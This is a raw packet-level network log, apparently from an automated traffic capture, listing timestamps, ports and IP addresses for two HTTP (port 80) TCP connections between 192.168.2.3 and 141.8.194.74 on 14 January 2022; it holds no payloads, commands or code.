Jan 14, 2022 01:52:07.979871035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979875088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979891062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979912043 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979916096 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979933023 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979953051 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979954004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979974985 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979985952 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979995966 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.980016947 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.980026007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.980037928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.980087042 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.000463009 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000546932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000605106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000657082 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000704050 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.000710011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000746965 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.000762939 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000814915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000822067 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.000868082 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000921011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.000927925 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.000962973 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.000972986 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001025915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001075983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001089096 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001125097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001176119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001178026 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001228094 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001277924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001332998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001337051 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001386881 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001442909 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001444101 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001485109 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001496077 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001545906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001600981 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001605988 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001655102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001712084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001713037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001770973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001827955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001889944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.001915932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.001976013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002032995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002042055 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002083063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002093077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002135038 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002187014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002194881 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002238035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002290010 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002296925 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002341032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002392054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002441883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002449989 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002491951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002546072 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002557039 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002602100 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002603054 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.002655029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002707005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.002712011 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055002928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055064917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055119038 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055169106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055222034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055226088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055270910 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055273056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055277109 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055322886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055375099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055425882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055444002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055531025 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055583954 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055603027 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055635929 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055635929 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055684090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055735111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055748940 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055855036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.055917025 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.055969000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056024075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056097984 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056116104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056169033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056219101 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056224108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056276083 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056329966 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056333065 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056380033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056430101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056488991 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056503057 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056535959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056549072 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056586027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056634903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056684017 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056688070 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056735039 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056782961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056797028 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056832075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056833982 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056880951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056929111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.056936026 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.056977987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057025909 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057039976 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057075024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057125092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057132006 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057173014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057224035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057233095 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057272911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057329893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057362080 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057379961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057429075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057477951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057482004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057528019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057575941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057583094 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057625055 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057674885 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057682037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057722092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057770967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057775021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057822943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057876110 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.057904005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057955980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.057961941 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058007002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058054924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058104992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058108091 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058154106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058201075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058211088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058249950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058296919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058305025 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058347940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058398008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058401108 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058448076 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058456898 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058499098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058547974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058562040 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058595896 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058646917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058653116 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058696032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058746099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058794975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058799982 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058842897 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058892012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058900118 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058942080 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.058944941 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.058990002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059039116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059043884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059088945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059139967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059144974 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059191942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059254885 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059304953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059319973 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059355974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059402943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059412003 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059453011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059501886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059506893 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059551001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059552908 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059601068 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059650898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059655905 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059700012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059751987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059798956 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059838057 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059847116 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.059849024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059899092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059952974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.059986115 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.060004950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.060054064 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.060065985 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.077706099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.077771902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.077824116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.077898979 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.077902079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.077954054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.077965021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078006983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078058004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078072071 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078109026 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078161001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078166962 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078210115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078219891 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078260899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078310966 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078315020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078360081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078411102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078414917 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078459978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078510046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078562021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078564882 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078609943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078660011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078666925 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078710079 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078710079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078758955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078807116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078813076 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.078856945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078903913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.078922033 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.079543114 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.154341936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.154424906 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.377655029 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.453798056 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.453959942 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.454093933 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.529122114 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529175997 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529217005 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529253960 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529292107 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529289961 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.529331923 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529350042 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.529375076 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529417038 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529438019 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.529457092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529496908 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529514074 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.529539108 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.529597044 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604115963 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604160070 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604197979 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604227066 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604239941 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604279041 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604300022 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604317904 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604361057 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604377031 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604401112 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604440928 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604458094 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604481936 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604521990 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604538918 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604562044 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604599953 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604615927 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604640007 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604679108 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604697943 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604717016 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604758024 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604773998 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.604799032 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604837894 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.604856014 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679470062 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679512978 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679553032 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679553986 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679593086 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679613113 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679632902 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679672956 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679709911 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679713011 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679752111 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679775000 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679792881 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679831982 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679846048 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679872990 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679913998 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679928064 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.679951906 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.679991007 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680006027 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680031061 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680068016 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680085897 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680108070 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680146933 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680164099 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680186987 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680227995 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.680237055 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.680265903 CET	80	49958	141.8.194.74	192.168.2.3
